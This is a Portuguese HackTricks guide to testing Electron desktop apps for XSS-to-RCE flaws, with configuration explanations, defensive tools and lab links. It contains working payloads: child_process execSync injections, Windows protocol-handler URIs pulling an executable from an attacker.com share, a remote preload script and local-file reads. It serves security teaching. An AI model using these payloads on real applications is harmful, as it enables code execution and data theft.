Electron Desktop Apps
Reading time: 17 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Introdução
Electron combina um backend local (com NodeJS) e um frontend (Chromium), embora falte alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação .asar
, para obter o código você precisa extraí-lo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
No código-fonte de um aplicativo Electron, dentro de packet.json
, você pode encontrar especificado o arquivo main.js
onde as configurações de segurança são definidas.
{
"name": "standard-notes",
"main": "./app/index.js",
O Electron tem 2 tipos de processos:
- Processo Principal (tem acesso completo ao NodeJS)
- Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)
Um processo de renderização será uma janela do navegador carregando um arquivo:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
As configurações do renderer process podem ser configuradas no main process dentro do arquivo main.js. Algumas das configurações irão prevenir que a aplicação Electron obtenha RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.
A aplicação Electron pode acessar o dispositivo via APIs do Node, embora possa ser configurada para impedir isso:
nodeIntegration
- estádesligado
por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.contextIsolation
- estáativado
por padrão. Se desligado, os processos principal e renderer não estão isolados.preload
- vazio por padrão.sandbox
- está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.- Integração do Node em Workers
nodeIntegrationInSubframes
- estádesligado
por padrão.- Se
nodeIntegration
estiver ativado, isso permitiria o uso de APIs do Node.js em páginas da web que estão carregadas em iframes dentro de uma aplicação Electron. - Se
nodeIntegration
estiver desativado, então os preloads serão carregados no iframe.
Exemplo de configuração:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Alguns RCE payloads de aqui:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Captura de tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Injeção de Código Local em Electron
Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o require()
. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
O script indicado nesta configuração é loaded antes de outros scripts no renderizador, então ele tem acesso ilimitado às APIs do Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Portanto, o script pode exportar node-features para páginas:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Se
contextIsolation
estiver ativado, isso não funcionará
RCE: XSS + contextIsolation
O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno JavaScript do Electron, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
- Executar JavaScript arbitrário no renderer (XSS ou navegação para sites externos)
- Sobrescrever o método embutido que é usado no preload ou no código interno do Electron para uma função própria
- Acionar o uso da função sobrescrita
- RCE?
Existem 2 lugares onde métodos embutidos podem ser sobrescritos: No código de preload ou no código interno do Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass do evento de clique
Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las fazendo um clique do meio em vez de um clique esquerdo regular.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Para mais informações sobre estes exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/
Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para nodeIntegration
e contextIsolation
é crucial. Está estabelecido que execução remota de código do lado do cliente (RCE) direcionando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade do aplicativo:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Esses ouvintes são substituídos pelo aplicativo de desktop para implementar sua própria lógica de negócios. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, openInternally
. Se essa função retornar false
, isso indica que o link deve ser aberto externamente, utilizando a função shell.openExternal
.
Aqui está um pseudocódigo simplificado:
As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função openExternal
, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar este recurso, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função openExternal
pode ser explorada para executar comandos arbitrários, como em shell.openExternal('file:///System/Applications/Calculator.app')
.
Exemplos de exploits de protocolos do Windows incluem:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + preload IPC vulnerável + shell.openExternal
Essa vulnerabilidade pode ser encontrada em este relatório.
O webviewTag é um recurso obsoleto que permite o uso de NodeJS no processo de renderização, o que deve ser desativado, pois permite carregar um script dentro do contexto de preload como:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para carregar um script de pré-carregamento arbitrário.
Esse script de pré-carregamento foi abusado para chamar um serviço IPC vulnerável (skype-new-window
) que estava chamando shell.openExternal
para obter RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Leitura de Arquivos Internos: XSS + contextIsolation
Desabilitar contextIsolation
permite o uso de <webview>
tags, semelhante a <iframe>
, para ler e exfiltrar arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Se o chromium usado pela aplicação é antigo e há vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE através de um XSS.
Você pode ver um exemplo neste writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
Supondo que você encontrou um XSS, mas não consegue acionar RCE ou roubar arquivos internos, você poderia tentar usá-lo para roubar credenciais via phishing.
Primeiro de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
A chamada para openInternally
decidirá se o link será aberto na janela do desktop, pois é um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.
No caso de a regex usada pela função ser vulnerável a bypasses (por exemplo, por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocol
Como mencionado na documentação, páginas executadas em file://
têm acesso unilateral a todos os arquivos em sua máquina, o que significa que problemas de XSS podem ser usados para carregar arquivos arbitrários da máquina do usuário. Usar um protocolo personalizado previne problemas como este, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
Remote module
O módulo Remote do Electron permite que processos de renderização acessem APIs do processo principal, facilitando a comunicação dentro de um aplicativo Electron. No entanto, habilitar este módulo introduz riscos significativos de segurança. Ele expande a superfície de ataque do aplicativo, tornando-o mais suscetível a vulnerabilidades, como ataques de cross-site scripting (XSS).
tip
Embora o módulo remote exponha algumas APIs do principal para processos de renderização, não é simples obter RCE apenas abusando dos componentes. No entanto, os componentes podem expor informações sensíveis.
warning
Muitos aplicativos que ainda usam o módulo remote o fazem de uma maneira que exige que o NodeIntegration esteja habilitado no processo de renderização, o que é um enorme risco de segurança.
Desde o Electron 14, o módulo remote
do Electron pode ser habilitado em várias etapas, pois, por razões de segurança e desempenho, é recomendado não usá-lo.
Para habilitá-lo, primeiro é necessário habilitá-lo no processo principal:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Então, o processo de renderização pode importar objetos do módulo, como:
import { dialog, getCurrentWindow } from '@electron/remote'
O blog post indica algumas funções interessantes expostas pelo objeto app
do módulo remoto:
app.relaunch([options])
- Reinicia a aplicação saindo da instância atual e iniciando uma nova. Útil para atualizações de app ou mudanças significativas de estado.
app.setAppLogsPath([path])
- Define ou cria um diretório para armazenar logs do app. Os logs podem ser recuperados ou modificados usando
app.getPath()
ouapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registra o executável atual como o manipulador padrão para um protocolo especificado. Você pode fornecer um caminho personalizado e argumentos se necessário.
app.setUserTasks(tasks)
- Adiciona tarefas à categoria de Tarefas na Jump List (no Windows). Cada tarefa pode controlar como o app é iniciado ou quais argumentos são passados.
app.importCertificate(options, callback)
- Importa um certificado PKCS#12 para o armazenamento de certificados do sistema (apenas Linux). Um callback pode ser usado para lidar com o resultado.
app.moveToApplicationsFolder([options])
- Move a aplicação para a pasta Applications (no macOS). Ajuda a garantir uma instalação padrão para usuários de Mac.
app.setJumpList(categories)
- Define ou remove uma Jump List personalizada no Windows. Você pode especificar categorias para organizar como as tarefas aparecem para o usuário.
app.setLoginItemSettings(settings)
- Configura quais executáveis são iniciados no login junto com suas opções (apenas macOS e Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
A API principal para acessar preferências do sistema e emitir eventos do sistema no Electron. Métodos como subscribeNotification, subscribeWorkspaceNotification, getUserDefault e setUserDefault são todos parte de este módulo.
Exemplo de uso:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Escuta por notificações nativas do macOS usando NSDistributedNotificationCenter.
- Antes do macOS Catalina, você poderia capturar todas as notificações distribuídas passando nil para CFNotificationCenterAddObserver.
- Após Catalina / Big Sur, aplicativos em sandbox ainda podem se inscrever em muitos eventos (por exemplo, bloqueios/desbloqueios de tela, montagens de volume, atividade de rede, etc.) registrando notificações pelo nome.
getUserDefault / setUserDefault
-
Interage com NSUserDefaults, que armazena preferências de aplicativos ou globais no macOS.
-
getUserDefault pode recuperar informações sensíveis, como localizações de arquivos recentes ou localização geográfica do usuário.
-
setUserDefault pode modificar essas preferências, potencialmente afetando a configuração de um aplicativo.
-
Em versões mais antigas do Electron (antes da v8.3.0), apenas a conjunto padrão de NSUserDefaults estava acessível.
Shell.showItemInFolder
Esta função mostra o arquivo dado em um gerenciador de arquivos, que pode executar automaticamente o arquivo.
Para mais informações, consulte https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Aplicativos Electron devem ter uma Content Security Policy (CSP) para prevenir ataques XSS. A CSP é um padrão de segurança que ajuda a prevenir a execução de código não confiável no navegador.
Geralmente é configurada no arquivo main.js
ou no template index.html
com a CSP dentro de uma meta tag.
Para mais informações, consulte:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity é uma ferramenta para identificar configurações incorretas e padrões de segurança em aplicações baseadas em Electron.
- Electrolint é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity.
- nodejsscan para verificar bibliotecas de terceiros vulneráveis.
- Electro.ng: Você precisa comprá-lo.
Labs
Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.
Alguns comandos que irão te ajudar no laboratório:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referências
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Mais pesquisas e artigos sobre segurança do Electron em https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.